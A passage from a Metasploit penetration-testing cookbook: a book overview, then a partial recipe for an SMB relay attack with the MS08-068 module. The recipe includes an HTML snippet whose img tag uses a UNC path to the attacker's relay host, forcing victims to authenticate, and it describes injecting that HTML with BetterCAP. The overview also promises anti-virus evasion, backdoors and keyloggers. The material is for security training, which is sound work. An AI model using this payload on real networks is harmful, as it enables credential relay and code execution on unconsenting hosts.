Overview of this book

Metasploit is the world's leading penetration testing tool and helps security and IT professionals find, exploit, and validate vulnerabilities. Metasploit allows penetration testing automation, password auditing, web application scanning, social engineering, post exploitation, evidence collection, and reporting. Metasploit's integration with InsightVM (or Nexpose), Nessus, OpenVas, and other vulnerability scanners provides a validation solution that simplifies vulnerability prioritization and remediation reporting. Teams can collaborate in Metasploit and present their findings in consolidated reports. In this book, you will go through great recipes that will allow you to start using Metasploit effectively. With an ever increasing level of complexity, and covering everything from the fundamentals to more advanced features in Metasploit, this book is not just for beginners but also for professionals keen to master this awesome tool. You will begin by building your lab environment, setting up Metasploit, and learning how to perform intelligence gathering, threat modeling, vulnerability analysis, exploitation, and post exploitation—all inside Metasploit. You will learn how to create and customize payloads to evade anti-virus software and bypass an organization's defenses, exploit server vulnerabilities, attack client systems, compromise mobile phones, automate post exploitation, install backdoors, run keyloggers, highjack webcams, port public exploits to the framework, create your own modules, and much more.

SMB relay attacks


An SMB relay attack allows us to relay SMB authentication requests to another host, gaining access to an authenticated SMB session if the user has access and network logins are allowed on the target host. If the user has administrator access in the target host, it is possible to execute arbitrary commands.

How to do it...

In this recipe, we will use the MS08-068 Microsoft Windows SMB Relay Code Execution exploit module to perform an SMB relay attack:

  1. To use this module, we need to set the target SMB server we wish to connect to with SMBHOST:

  1. Now that we have the relay module set up and ready, create an HTML file like the one following, with the IP address of the machine running the relay in the UNC path:
<html>
  <body>
    <img src="\\192.168.216.5\image.jpg">
  </body>
</html>
  1. Next, we will use BetterCAP to inject the HTML file, forcing the target to authenticate and try to load the image:

  1. As you can see from the screenshot, the HTML was injected...
